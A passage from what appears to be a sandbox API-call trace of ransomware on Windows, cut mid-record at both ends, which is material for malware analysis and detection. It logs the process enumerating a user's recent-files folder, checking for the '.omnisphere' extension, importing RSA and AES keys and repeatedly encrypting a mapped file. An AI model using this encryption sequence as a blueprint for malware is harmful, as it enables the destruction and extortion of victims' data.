hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.862] GetProcessHeap () returned 0x1600000 [0127.862] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.862] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0b5bcc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3f0b5bcc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x91fc39db, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="319f01bf9fe00f2d.automaticDestinations-ms", cAlternateFileName="319F01~1.AUT")) returned 1 [0127.862] GetProcessHeap () returned 0x1600000 [0127.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.862] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="319f01bf9fe00f2d.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" [0127.863] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\319f01bf9fe00f2d.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.863] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=3584) returned 1 [0127.863] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x8dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.863] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.864] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3c0 [0127.864] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.865] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.865] CloseHandle (hObject=0x3c0) returned 1 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.865] GetTickCount () returned 0x115fe71 [0127.866] GetTickCount () returned 0x115fe71 [0127.866] GetTickCount () returned 0x115fe71 [0127.866] GetTickCount () returned 0x115fe71 [0127.866] GetTickCount () returned 0x115fe71 [0127.866] GetTickCount () returned 0x115fe71 [0127.866] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668c58) returned 1 [0127.866] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0127.866] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.866] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.866] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0127.866] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3c0 [0127.867] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe00) returned 0x1480000 [0127.867] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669120) returned 1 [0127.867] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0127.867] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.867] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.867] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.867] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.867] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.867] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.868] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.869] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.870] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 